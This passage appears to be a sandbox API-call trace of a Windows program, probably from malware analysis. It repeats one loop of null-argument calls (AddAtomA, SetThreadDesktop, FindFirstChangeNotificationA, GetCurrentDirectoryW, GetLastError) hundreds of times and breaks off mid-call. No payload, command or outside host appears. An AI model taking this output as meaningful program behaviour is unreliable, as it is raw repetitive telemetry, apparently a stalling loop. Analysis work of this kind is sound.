AddAtomA (lpString=0x0) returned 0x0 [0034.690] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.690] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.690] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.690] GetLastError () returned 0x3 [0034.690] AddAtomA (lpString=0x0) returned 0x0 [0034.690] AddAtomA (lpString=0x0) returned 0x0 [0034.690] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.690] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.690] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.690] GetLastError () returned 0x3 [0034.690] AddAtomA (lpString=0x0) returned 0x0 [0034.690] AddAtomA (lpString=0x0) returned 0x0 [0034.690] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.690] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.690] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.690] GetLastError () returned 0x3 [0034.690] AddAtomA (lpString=0x0) returned 0x0 [0034.690] AddAtomA (lpString=0x0) returned 0x0 [0034.690] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.690] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.690] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.690] GetLastError () returned 0x3 [0034.691] AddAtomA (lpString=0x0) returned 0x0 [0034.691] AddAtomA (lpString=0x0) returned 0x0 [0034.691] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.691] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.691] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.691] GetLastError () returned 0x3 [0034.691] AddAtomA (lpString=0x0) returned 0x0 [0034.691] AddAtomA (lpString=0x0) returned 0x0 [0034.691] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.691] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.691] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.691] GetLastError () returned 0x3 [0034.691] AddAtomA (lpString=0x0) returned 0x0 [0034.691] AddAtomA (lpString=0x0) returned 0x0 [0034.691] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.691] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.691] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.691] GetLastError () returned 0x3 [0034.691] AddAtomA (lpString=0x0) returned 0x0 [0034.691] AddAtomA (lpString=0x0) returned 0x0 [0034.691] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.691] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.691] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.691] GetLastError () returned 0x3 [0034.691] AddAtomA (lpString=0x0) returned 0x0 [0034.691] AddAtomA (lpString=0x0) returned 0x0 [0034.691] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.691] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.691] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.691] GetLastError () returned 0x3 [0034.691] AddAtomA (lpString=0x0) returned 0x0 [0034.691] AddAtomA (lpString=0x0) returned 0x0 [0034.691] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.691] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.692] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.692] GetLastError () returned 0x3 [0034.692] AddAtomA (lpString=0x0) returned 0x0 [0034.692] AddAtomA (lpString=0x0) returned 0x0 [0034.692] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.692] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.692] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.692] GetLastError () returned 0x3 [0034.692] AddAtomA (lpString=0x0) returned 0x0 [0034.692] AddAtomA (lpString=0x0) returned 0x0 [0034.692] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.692] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.692] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.692] GetLastError () returned 0x3 [0034.692] AddAtomA (lpString=0x0) returned 0x0 [0034.692] AddAtomA (lpString=0x0) returned 0x0 [0034.692] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.692] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.692] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.692] GetLastError () returned 0x3 [0034.692] AddAtomA (lpString=0x0) returned 0x0 [0034.692] AddAtomA (lpString=0x0) returned 0x0 [0034.692] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.692] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.692] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.692] GetLastError () returned 0x3 [0034.692] AddAtomA (lpString=0x0) returned 0x0 [0034.692] AddAtomA (lpString=0x0) returned 0x0 [0034.692] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.692] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.692] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.692] GetLastError () returned 0x3 [0034.692] AddAtomA (lpString=0x0) returned 0x0 [0034.692] AddAtomA (lpString=0x0) returned 0x0 [0034.692] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.693] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.693] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.693] GetLastError () returned 0x3 [0034.693] AddAtomA (lpString=0x0) returned 0x0 [0034.693] AddAtomA (lpString=0x0) returned 0x0 [0034.693] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.693] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.693] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.693] GetLastError () returned 0x3 [0034.693] AddAtomA (lpString=0x0) returned 0x0 [0034.693] AddAtomA (lpString=0x0) returned 0x0 [0034.693] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.693] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.693] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.693] GetLastError () returned 0x3 [0034.693] AddAtomA (lpString=0x0) returned 0x0 [0034.693] AddAtomA (lpString=0x0) returned 0x0 [0034.693] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.693] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.693] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.693] GetLastError () returned 0x3 [0034.693] AddAtomA (lpString=0x0) returned 0x0 [0034.693] AddAtomA (lpString=0x0) returned 0x0 [0034.693] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.693] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.693] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.693] GetLastError () returned 0x3 [0034.693] AddAtomA (lpString=0x0) returned 0x0 [0034.693] AddAtomA (lpString=0x0) returned 0x0 [0034.693] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.693] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.693] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.693] GetLastError () returned 0x3 [0034.693] AddAtomA (lpString=0x0) returned 0x0 [0034.693] AddAtomA (lpString=0x0) returned 0x0 [0034.693] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.694] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.694] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.694] GetLastError () returned 0x3 [0034.694] AddAtomA (lpString=0x0) returned 0x0 [0034.694] AddAtomA (lpString=0x0) returned 0x0 [0034.694] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.694] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.694] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.694] GetLastError () returned 0x3 [0034.694] AddAtomA (lpString=0x0) returned 0x0 [0034.694] AddAtomA (lpString=0x0) returned 0x0 [0034.694] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.694] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.694] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.694] GetLastError () returned 0x3 [0034.694] AddAtomA (lpString=0x0) returned 0x0 [0034.694] AddAtomA (lpString=0x0) returned 0x0 [0034.694] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.694] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.694] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.694] GetLastError () returned 0x3 [0034.694] AddAtomA (lpString=0x0) returned 0x0 [0034.694] AddAtomA (lpString=0x0) returned 0x0 [0034.694] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.694] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.694] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.694] GetLastError () returned 0x3 [0034.694] AddAtomA (lpString=0x0) returned 0x0 [0034.694] AddAtomA (lpString=0x0) returned 0x0 [0034.694] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.694] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.694] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.694] GetLastError () returned 0x3 [0034.694] AddAtomA (lpString=0x0) returned 0x0 [0034.694] AddAtomA (lpString=0x0) returned 0x0 [0034.694] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.694] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.694] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.694] GetLastError () returned 0x3 [0034.694] AddAtomA (lpString=0x0) returned 0x0 [0034.694] AddAtomA (lpString=0x0) returned 0x0 [0034.694] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.695] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.695] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.695] GetLastError () returned 0x3 [0034.695] AddAtomA (lpString=0x0) returned 0x0 [0034.695] AddAtomA (lpString=0x0) returned 0x0 [0034.695] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.695] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.695] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.695] GetLastError () returned 0x3 [0034.695] AddAtomA (lpString=0x0) returned 0x0 [0034.695] AddAtomA (lpString=0x0) returned 0x0 [0034.695] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.695] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.695] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.695] GetLastError () returned 0x3 [0034.695] AddAtomA (lpString=0x0) returned 0x0 [0034.695] AddAtomA (lpString=0x0) returned 0x0 [0034.695] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.695] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.695] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.695] GetLastError () returned 0x3 [0034.695] AddAtomA (lpString=0x0) returned 0x0 [0034.695] AddAtomA (lpString=0x0) returned 0x0 [0034.695] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.695] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.695] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.695] GetLastError () returned 0x3 [0034.695] AddAtomA (lpString=0x0) returned 0x0 [0034.695] AddAtomA (lpString=0x0) returned 0x0 [0034.695] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.695] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.695] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.695] GetLastError () returned 0x3 [0034.695] AddAtomA (lpString=0x0) returned 0x0 [0034.695] AddAtomA (lpString=0x0) returned 0x0 [0034.695] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.695] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.695] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.695] GetLastError () returned 0x3 [0034.695] AddAtomA (lpString=0x0) returned 0x0 [0034.695] AddAtomA (lpString=0x0) returned 0x0 [0034.695] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.695] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.695] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.695] GetLastError () returned 0x3 [0034.696] AddAtomA (lpString=0x0) returned 0x0 [0034.696] AddAtomA (lpString=0x0) returned 0x0 [0034.696] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.696] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.696] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.696] GetLastError () returned 0x3 [0034.696] AddAtomA (lpString=0x0) returned 0x0 [0034.696] AddAtomA (lpString=0x0) returned 0x0 [0034.696] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.696] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.696] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.696] GetLastError () returned 0x3 [0034.696] AddAtomA (lpString=0x0) returned 0x0 [0034.696] AddAtomA (lpString=0x0) returned 0x0 [0034.696] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.696] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.696] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.696] GetLastError () returned 0x3 [0034.696] AddAtomA (lpString=0x0) returned 0x0 [0034.696] AddAtomA (lpString=0x0) returned 0x0 [0034.696] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.696] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.696] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.696] GetLastError () returned 0x3 [0034.696] AddAtomA (lpString=0x0) returned 0x0 [0034.696] AddAtomA (lpString=0x0) returned 0x0 [0034.697] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.697] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.697] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.697] GetLastError () returned 0x3 [0034.697] AddAtomA (lpString=0x0) returned 0x0 [0034.697] AddAtomA (lpString=0x0) returned 0x0 [0034.697] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.697] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.697] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.697] GetLastError () returned 0x3 [0034.697] AddAtomA (lpString=0x0) returned 0x0 [0034.697] AddAtomA (lpString=0x0) returned 0x0 [0034.697] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.697] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.697] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.697] GetLastError () returned 0x3 [0034.697] AddAtomA (lpString=0x0) returned 0x0 [0034.697] AddAtomA (lpString=0x0) returned 0x0 [0034.697] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.697] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.697] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.697] GetLastError () returned 0x3 [0034.697] AddAtomA (lpString=0x0) returned 0x0 [0034.697] AddAtomA (lpString=0x0) returned 0x0 [0034.697] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.697] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.697] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.697] GetLastError () returned 0x3 [0034.697] AddAtomA (lpString=0x0) returned 0x0 [0034.697] AddAtomA (lpString=0x0) returned 0x0 [0034.697] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.697] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.697] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.697] GetLastError () returned 0x3 [0034.697] AddAtomA (lpString=0x0) returned 0x0 [0034.697] AddAtomA (lpString=0x0) returned 0x0 [0034.697] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.697] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.697] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.697] GetLastError () returned 0x3 [0034.697] AddAtomA (lpString=0x0) returned 0x0 [0034.698] AddAtomA (lpString=0x0) returned 0x0 [0034.698] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.698] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.698] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.698] GetLastError () returned 0x3 [0034.698] AddAtomA (lpString=0x0) returned 0x0 [0034.698] AddAtomA (lpString=0x0) returned 0x0 [0034.698] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.698] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.698] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.698] GetLastError () returned 0x3 [0034.698] AddAtomA (lpString=0x0) returned 0x0 [0034.698] AddAtomA (lpString=0x0) returned 0x0 [0034.698] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.698] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.698] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.698] GetLastError () returned 0x3 [0034.698] AddAtomA (lpString=0x0) returned 0x0 [0034.698] AddAtomA (lpString=0x0) returned 0x0 [0034.698] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.698] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.698] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.698] GetLastError () returned 0x3 [0034.698] AddAtomA (lpString=0x0) returned 0x0 [0034.698] AddAtomA (lpString=0x0) returned 0x0 [0034.698] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.698] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.698] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.698] GetLastError () returned 0x3 [0034.698] AddAtomA (lpString=0x0) returned 0x0 [0034.698] AddAtomA (lpString=0x0) returned 0x0 [0034.698] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.698] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.698] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.698] GetLastError () returned 0x3 [0034.698] AddAtomA (lpString=0x0) returned 0x0 [0034.698] AddAtomA (lpString=0x0) returned 0x0 [0034.698] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.698] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.698] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.698] GetLastError () returned 0x3 [0034.698] AddAtomA (lpString=0x0) returned 0x0 [0034.699] AddAtomA (lpString=0x0) returned 0x0 [0034.699] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.699] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.699] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.699] GetLastError () returned 0x3 [0034.699] AddAtomA (lpString=0x0) returned 0x0 [0034.699] AddAtomA (lpString=0x0) returned 0x0 [0034.699] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.699] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.699] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.699] GetLastError () returned 0x3 [0034.699] AddAtomA (lpString=0x0) returned 0x0 [0034.699] AddAtomA (lpString=0x0) returned 0x0 [0034.699] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.699] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.699] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.699] GetLastError () returned 0x3 [0034.699] AddAtomA (lpString=0x0) returned 0x0 [0034.699] AddAtomA (lpString=0x0) returned 0x0 [0034.699] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.699] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.699] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.699] GetLastError () returned 0x3 [0034.699] AddAtomA (lpString=0x0) returned 0x0 [0034.699] AddAtomA (lpString=0x0) returned 0x0 [0034.699] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.699] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.699] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.699] GetLastError () returned 0x3 [0034.699] AddAtomA (lpString=0x0) returned 0x0 [0034.699] AddAtomA (lpString=0x0) returned 0x0 [0034.699] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.699] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.699] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.699] GetLastError () returned 0x3 [0034.699] AddAtomA (lpString=0x0) returned 0x0 [0034.699] AddAtomA (lpString=0x0) returned 0x0 [0034.699] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.699] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.699] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.699] GetLastError () returned 0x3 [0034.699] AddAtomA (lpString=0x0) returned 0x0 [0034.699] AddAtomA (lpString=0x0) returned 0x0 [0034.699] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.700] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.700] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.700] GetLastError () returned 0x3 [0034.700] AddAtomA (lpString=0x0) returned 0x0 [0034.700] AddAtomA (lpString=0x0) returned 0x0 [0034.700] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.700] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.700] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.700] GetLastError () returned 0x3 [0034.700] AddAtomA (lpString=0x0) returned 0x0 [0034.700] AddAtomA (lpString=0x0) returned 0x0 [0034.700] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.700] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.700] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.700] GetLastError () returned 0x3 [0034.700] AddAtomA (lpString=0x0) returned 0x0 [0034.700] AddAtomA (lpString=0x0) returned 0x0 [0034.700] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.700] FindFirstChangeNotificationA (lpPathName=0x0, 